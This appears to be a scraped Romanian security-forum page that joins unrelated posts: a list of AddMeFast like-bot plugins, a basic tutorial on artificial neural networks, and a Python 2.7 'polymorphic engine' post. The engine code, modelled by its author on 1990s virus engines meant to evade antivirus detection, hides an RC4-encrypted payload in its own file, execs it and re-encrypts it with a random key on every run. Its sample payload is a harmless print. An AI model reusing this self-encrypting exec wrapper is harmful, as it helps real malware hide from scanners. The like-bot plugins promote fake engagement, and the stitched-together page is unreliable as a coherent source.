Leaderboard

Facand referire la tutorialul acesta puteti utiliza si urmatoarele plugin-uri. Add me fast plugins Download # Fb Follow # Fb Page Likes # Fb Post&Pic Likes # Pinterest Follow # Pinterest Likes # Pinterest Repins # SoundCloud Follow # StumbleUpon Follow # Youtube Likes # Youtube Sub keywords: AddMeFast script plugin like facebook youtube like automat subscribe follow tone de like-uri tone de likeuri add me fast cum sa how to

Studiul asupra Retelelor Neurale Artificiale a inceput in anul 1940 de catre McCulloch si Pitts; Mai apoi, acest studiu a fost reluat in anul 1960 de catre Rosenblatt, Minsky si Papert dupa ce acestia au demonstrar limitariile unui perceptron. Mai jos, 2 imagini pentru a arata 'asemanarea' dintre un neoron biologic si o retea neurala artificiala: Figura1. Neuron Biologic: Figura2. Modelul unei Retele Neurale creat de McCulloch si Pitts: 1. ANNs (Artificial Neural Networks) Pentru inceput: ANNs reprezinta o serie de sisteme 'inteligente' create dupa modelul biologic al Neuronilor. Aceste sisteme de tip ANN sunt folosite pentru rezolvarea problemelor in domenii precum: 1.1. Pattern Recognition 1.2. Prediction 1.3. Optimization 1.4. Associative Memory 2. De ce tocmai ANNs? Probabil multi dintre voi se intreaba de ce aceste sisteme 'inteligente' sunt raspunsul probelemelor aparute in domeniile mentionate mai sus. Ei bine, ANNs se comporta foarte bine in rezolvarea acelor probleme datorita urmatoarelor caracteristici: 2.1. Massive Parallelism ANN-urile pot fi considerate ca fiind 'massively parallel distributed processor' intrucat acestea stocheaza datele experimentale ca mai apoi sa le faca disponibile pentru folosire. ANN-urle se aseamana cu Neuronii biologici si totodata copiaza comporamentul creierului uman, pentru ca datele finale sunt rezultatul unui proces de experimentare (sau invatare) facut de reteaua neurala. 2.2. Consum mic de energie 2.3. Adaptabilitate Deoarece rezultatul final este obtinut prin procesul de experimentare (dupa cum am precizat mai sus) sistemele neural se adapteaza in functie de parametrii de testare primiti. 2.4. Posibilitatea de generalizare 3. 'Probleme' rezolvate cu ajutorul ANNs Dupa cum am mentionat si la punctul 1, sitemele inteligente de tip ANN sunt folosite pentru rezolvarea problemelor aparute in diferite domenii. Acum, doresc sa ofer o lista de exemple care sa va ajute sa intelegeti rolul acestor sisteme: 3.1. Funnction approximation Sa presupunem ca avem un set de 'n' training patters (grupate ca si input-output) de forma: ((x1,y1),(x2,y2),...(xn,yn)) generat de o functie y(x). Functia y(x) nu ne este cunoscuta, ci doar rezultatul generat de aceasta. Rolul acetei aproximari de functii (Funnction approximation) este de a gasi si a estima un y'(x) cat mai aproape de functia necunostuca y(x). Aproximarea functiilor este folosita in multe probleme de modelare stiintifica. 3.2. Optimization (Optimizarea) Dupa cum bine stiti, o gama foarte variata de probleme din matematica, statistica, medicina, economie si programare pot intampina probleme de optimizare. Exemplu: Traveling Salesman Problem 3.3. System Control Sa consideram un sistem dinamic definit de tuplul {u(t),y(t)} unde u(t) reprezinta control-inputul iar y(t) este output-ul sistemului la un timp t. Ceea ce dorim noi sa realizam, e deterimanrea unui input u(t) pentru sistemul nostru, in asa fel incat acesta sa urmeze o traiectorie definita de un model de referinta. 3.4. Pattern Classification (Clasificarea Pattern-urilor) Problema de clasificare a pattern-urilor, transpusa intr-un mod mai usor de inteles, se refera la o relatie de tip one-to-many, adica, unu-i pattern de intrare (considerat ca input pentru systemul nostru) i se atribuie un output predefinit dintr-o lista. Aplicatiile acestui tip de pattern classification sunt variate si apar in domenii precum: 3.4.1. Speech recognition 3.4.2. EGG waveform classification 3.4.3. Blood cell classification Observatii: 1. De multe ori termenul de 'Inteligenta Artificiala' este folosit gresit, intrucat, la ora actuala orice model de AI nu este altceva decat o retea de ANNs-uri. 2. Pentru nelamuriri cu privire la aceata prima parte a 'tutorialului' despre ANNs nu ezitati sa lasati un reply. Voi incerca sa ofer raspunsuri cat mai pertinente. Va urma.

Acest engine are ca inspiratie engine-urile polymorphice utilizate de virusii anilor 90 pentru a ingreuna detectia antivirus. La fiecare executare a fisierului dupa decriptare codul malware era recriptat cu o alta parola aleasa aleator rezultand un fisier diferit. Pentru utilizarea pycrypto m-am inspirat de aici: Python and cryptography with pycrypto | Laurent Luce's Blog Python 2.7 algoritm de criptare RC4, parola = 64 litere alese in mod aleator la fiecare executie import random import sys import re from Crypto.Cipher import ARC4 lparola = 64 nume_fisier = sys.argv[0] continut_fisier = open(nume_fisier, "r").read() def aleator(): variabila = '' for i in range(lparola): variabila += random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz') return variabila script ="""print "\tHello, I am RST Polymorphic Engine 0.2" print "This script will be crypted, delete me after first run" raw_input() """ #criptare initiala # parola = aleator() # obj1 = ARC4.new(parola) # criptat = obj1.encrypt(script).encode("hex") # #print criptat # lungime_criptat = hex(len(criptat)) # #print len(lungime_criptat) # #print int(lungime_criptat, 16) # continut_fisier += '\n##' + criptat + parola + lungime_criptat+ hex(len(lungime_criptat))# # #decriptare # #print continut_fisier # temp_1 = int(continut_fisier[-3:], 16) #print temp_1 # temp_2 = int(continut_fisier[-3 -temp_1: -3], 16) #print temp2 # parola = continut_fisier[-3 -temp_1 -lparola:-3 -temp_1] #print parola # temp_3 = -3 - temp_1 - temp_2 - lparola temp_4 = continut_fisier[temp_3: -3 -temp_1 -lparola] obj2 = ARC4.new(parola) #print temp_4 # decriptat = obj2.decrypt(temp_4.decode("hex")) #print decriptat # exec(decriptat) continut_fisier = re.sub(".{89}#\n", "", continut_fisier) # continut_fisier = re.sub("\n#", "\n", continut_fisier) # #print continut_fisier # # #recriptare # #decriptat = script plain text, temp_3 = offset pus cript # #parola2 = aleator() #print parola # #obj1 = ARC4.new(parola2) #criptat = obj1.encrypt(decriptat).encode("hex") #print criptat # #lungime_criptat = hex(len(criptat)) #print len(lungime_criptat) # #print int(lungime_criptat, 16) # #print criptat # #continut_fisier = continut_fisier[:temp_3 -1] + "#" + criptat + parola2 + lungime_criptat + hex(len(lungime_criptat)) #print continut_fisier # scriu = open(nume_fisier, "w") scriu.write(continut_fisier) scriu.close() sys.exit() Include o "functie" de auto-cleaning, la primul run isi elimina singur toate partile de cod inutile in viitor, totusi, scriptul care a fost criptat este necesar sa fie eliminat manual Dupa primul run: import random import sys import re from Crypto.Cipher import ARC4 lparola = 64 nume_fisier = sys.argv[0] continut_fisier = open(nume_fisier, "r").read() def aleator(): variabila = '' for i in range(lparola): variabila += random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz') return variabila script ="""print "\tHello, I am RST Polymorphic Engine 0.2" print "This script will be crypted, delete me after first run" raw_input() """ temp_1 = int(continut_fisier[-3:], 16) temp_2 = int(continut_fisier[-3 -temp_1: -3], 16) parola = continut_fisier[-3 -temp_1 -lparola:-3 -temp_1] temp_3 = -3 - temp_1 - temp_2 - lparola temp_4 = continut_fisier[temp_3: -3 -temp_1 -lparola] obj2 = ARC4.new(parola) decriptat = obj2.decrypt(temp_4.decode("hex")) exec(decriptat) parola2 = aleator() obj1 = ARC4.new(parola2) criptat = obj1.encrypt(decriptat).encode("hex") lungime_criptat = hex(len(criptat)) continut_fisier = continut_fisier[:temp_3 -1] + "#" + criptat + parola2 + lungime_criptat + hex(len(lungime_criptat)) scriu = open(nume_fisier, "w") scriu.write(continut_fisier) scriu.close() sys.exit() #4049eff8b7283ce8be7131c9c3f025030fd4a2e1474c126d3c31edf7eb64b1bd6591f383230ef0e17f1cd8fe6681c95eb34005887eeefefad76b64d8d0ab301996738e47cec14186d7a283c10b65cf77cadbabf3c39c2a5e5c852082fe5b3c2850156ae02577b6d29235f7e4f339ba22a983cdc7ded692d8911e5f7fgZqSphoqERUeUEyvankUOpiuEDyVoENOCJpVNiiJcGHJHpnwgFzfItmoncWKTUMm0xf80x4 Dupa autocleaning la urmatoarele executii se mai modifica doar partea criptata: #d8c3fae6dae61792b9389f57d143ef14d3845dab8da2ad08e25d8aef03ef1bdf3cb4938ccf607dca3c74c8522c971bee83406680a901fe32d4b9aaf60bc473216164929de7cd53bcb253646eeaad3cb71405a89f7aa931b53f3a1cb75447d289465d7cbf15dc7f46c747a3fbfc21f7ec94c3d2a84cfc825919f72041lgwkmIJdWycsxlcmlvNnzJWxnfUJFxTNYwSzIDTHgKZzDQoUrfFOtaZWHZorNMfu0xf80x4 Utilitate: scop didactic sugestiile, criticile, etc. sunt bine venite

Cine mai foloseste yahoo ... "lol"